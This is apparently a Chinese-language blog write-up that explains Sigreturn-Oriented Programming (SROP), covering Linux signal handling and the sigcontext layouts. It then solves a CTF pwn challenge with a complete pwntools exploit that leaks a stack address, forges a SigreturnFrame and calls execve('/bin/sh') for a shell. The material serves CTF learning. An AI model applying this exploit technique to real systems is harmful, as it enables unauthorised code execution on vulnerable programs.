# srop

# srop 原理

# signal 机制

signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:

Process of Signal Handlering

  1. 内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
  2. 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。** 需要注意的是,这一部分是在用户进程的地址空间的。** 之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。

对于 signal Frame 来说,会因为架构的不同而有所区别,这里给出分别给出 x86 以及 x64 的 sigcontext

  • x86
c
struct sigcontext
{
  unsigned short gs, __gsh;
  unsigned short fs, __fsh;
  unsigned short es, __esh;
  unsigned short ds, __dsh;
  unsigned long edi;
  unsigned long esi;
  unsigned long ebp;
  unsigned long esp;
  unsigned long ebx;
  unsigned long edx;
  unsigned long ecx;
  unsigned long eax;
  unsigned long trapno;
  unsigned long err;
  unsigned long eip;
  unsigned short cs, __csh;
  unsigned long eflags;
  unsigned long esp_at_signal;
  unsigned short ss, __ssh;
  struct _fpstate * fpstate;
  unsigned long oldmask;
  unsigned long cr2;
};
  • x64
c
struct _fpstate
{
  /* FPU environment matching the 64-bit FXSAVE layout.  */
  __uint16_t        cwd;
  __uint16_t        swd;
  __uint16_t        ftw;
  __uint16_t        fop;
  __uint64_t        rip;
  __uint64_t        rdp;
  __uint32_t        mxcsr;
  __uint32_t        mxcr_mask;
  struct _fpxreg    _st[8];
  struct _xmmreg    _xmm[16];
  __uint32_t        padding[24];
};
struct sigcontext
{
  __uint64_t r8;
  __uint64_t r9;
  __uint64_t r10;
  __uint64_t r11;
  __uint64_t r12;
  __uint64_t r13;
  __uint64_t r14;
  __uint64_t r15;
  __uint64_t rdi;
  __uint64_t rsi;
  __uint64_t rbp;
  __uint64_t rbx;
  __uint64_t rdx;
  __uint64_t rax;
  __uint64_t rcx;
  __uint64_t rsp;
  __uint64_t rip;
  __uint64_t eflags;
  unsigned short cs;
  unsigned short gs;
  unsigned short fs;
  unsigned short __pad0;
  __uint64_t err;
  __uint64_t trapno;
  __uint64_t oldmask;
  __uint64_t cr2;
  __extension__ union
    {
      struct _fpstate * fpstate;
      __uint64_t __fpstate_word;
    };
  __uint64_t __reserved1 [8];
};
  1. signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,**32 位的 sigreturn 的调用号为 119(0x77),64 位的系统调用号为 15(0xf)

# 攻击原理

仔细回顾一下内核在 signal 信号处理的过程中的工作,我们可以发现,内核主要做的工作就是为进程保存上下文,并且恢复上下文。这个主要的变动都在 Signal Frame 中。但是需要注意的是:

  • Signal Frame 被保存在用户的地址空间中,所以用户是可以读写的。
  • 由于内核与信号处理程序无关 (kernel agnostic about signal handlers),它并不会去记录这个 signal 对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。

# 获取 shell

首先,我们假设攻击者可以控制用户进程的栈,那么它就可以伪造一个 Signal Frame,如下图所示,这里以 64 位为例子,给出 Signal Frame 更加详细的信息

signal2-stack

当系统执行完 sigreturn 系统调用之后,会执行一系列的 pop 指令以便于恢复相应寄存器的值,当执行到 rip 时,就会将程序执行流指向 syscall 地址,根据相应寄存器的值,此时,便会得到一个 shell。___(相当于还原我们调好的寄存器的值)

# system call chains

需要指出的是,上面的例子中,我们只是单独的获得一个 shell。有时候,我们可能会希望执行一系列的函数。我们只需要做两处修改即可

  • 控制栈指针。
  • 把原来 rip 指向的 syscall gadget 换成 syscall; ret gadget。

如下图所示 ,这样当每次 syscall 返回的时候,栈指针都会指向下一个 Signal Frame。因此就可以执行一系列的 sigreturn 函数调用。

signal2-stack

# 后续

需要注意的是,我们在构造 ROP 攻击的时候,需要满足下面的条件

  • 可以通过栈溢出来控制栈的内容
  • 需要知道相应的 **地址**
    • "/bin/sh"
    • Signal Frame
    • syscall
    • sigreturn
  • 需要有够大的空间来塞下整个 sigal frame

此外,关于 sigreturn 以及 syscall;ret 这两个 gadget 在上面并没有提及。提出该攻击的论文作者发现了这些 gadgets 出现的某些地址:

# 一道例题

# 检查

image-20230803220602093

image-20230803220635434

发现输入很少字符,程序就崩溃。堆栈不可执行。

# IDA

image-20230803220825554

image-20230803220903459

image-20230803220926236

mian 函数进入 vuln,很容易发现 vuln 函数调用 sys_read 和 sys_write 系统调用函数。其中在 buf 中有漏洞点。并发现 gadgets 中有

# 00000000004004DA                 mov     rax, 0Fh

所以很明显可以进行 srop。

srop 达成攻击的条件是一下内容:

  • 可以通过栈溢出来控制栈的内容
  • 需要知道相应的 **地址**
    • "/bin/sh"
    • Signal Frame
    • syscall
    • sigreturn
  • 需要有够大的空间来塞下整个 sigal frame

检查字符串并没有 binsh,所以我们可以用 sys_read 读入,去泄露栈的基址,然后去计算 binsh 在栈中的偏移。因为虽然程序远程和本地加载不同,但是 bin/sh 读入的偏移是相同的。根据这个原理,我们去计算本地调试的 /bin/sh 的偏移

但这题我们并不知的去如何泄露栈的基址,那该咋办。凡事先调试再说。

main 函数之前记录 rsi

image-20230803222622304

输入 /bin/sh 记录 rsi

image-20230803222733528

从 rsi 中,我们能得到 bin/sh 在栈中的偏移 —— 0x7fffffffddf8 - 0x7fffffffdce0

image-20230803223305868

从这里我们就能发现 ——write 打印出 0x30 个字节,可以看出从低地址开始打印 0x20 个字节后 0x8 就是栈基址

所以通过 write 函数能打印出 libc 栈基址

打印完栈基址我们就能通过偏移计算出 binsh 的基址了。

思路有了,直接上 exp

# exp

n
# from LibcSearcher import*
from pwn import *
# from ctypes import *
context(arch='amd64',os='linux',log_level='debug')
#r = remote('node2.anna.nssctf.cn',28450)
r = gdb.debug('./PWN3')
# r = process('./PWN3')
# libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
# libc = ELF('/home/f145h/Desktop/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
elf = ELF('./PWN3')
# ld-linux-x86-64.so.2
# srand = libc.srand (libc.time (0)) #设置种子
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims             :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
lic 	= lambda data               :uu64(ru(data)[-6:])
pack    = lambda str, addr          :p32(addr)
padding = lambda lenth              :b'F145H'*(lenth//5)+b'F'*(lenth % 5)
vuln = 0x4004ED
pl = b'/bin/sh\x00'*2 + p64(vuln)
# gdb.attach(r)
print('传输/bin/sh之前======>')
# pause()
sl(pl)
print('传输/bin/sh之后======>')
# pause()
of = 0x7fffffffde28 - 0x7fffffffdd10
'of 计算binsh在栈的偏移'
l_stack = lic('\x7f') 
binsh = l_stack - of
print(hex(l_stack))
print('binsh_addr=======>' + str(hex(binsh)))
syscall = 0x400501
# 00000000004004DA                 mov     rax, 0Fh
sigreturn  = 0x4004DA
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = binsh 
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rip = syscall
pl2 = b'/bin/sh\x00' + p64(0) + p64(sigreturn) + p64(syscall) + bytes(sigframe)
print('传输sigframe之前======>')
# pause()
sl(pl2)
print('传输sigframe之后======>')
# pause()
r.interactive()
'''
需要设置架构
execve:
	sigframe = SigreturnFrame()
	sigframe.rax = constants.SYS_execve
	sigframe.rdi = binsh 
	sigframe.rsi = 0x0
	sigframe.rip = syscall
read:
	frame =  SigreturnFrame()
	frame.rax = constants.SYS_read
	frame.rdi = 0
	frame.rsi = stack_addr
	frame.rdx = 0x400
	frame.rsp = stack_addr
	frame.rip = syscall_addr
x64 more information:
	http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
'''
n
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = binsh 
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rip = syscall
pl2 = b'/bin/sh\x00' + p64(0) + p64(sigreturn) + p64(syscall) + bytes(sigfram)

当传入 pl2 我们调试发现寄存器的变化

可见 srop 的攻击原理

image-20230803224917202

image-20230803224304825

更新于 阅读次数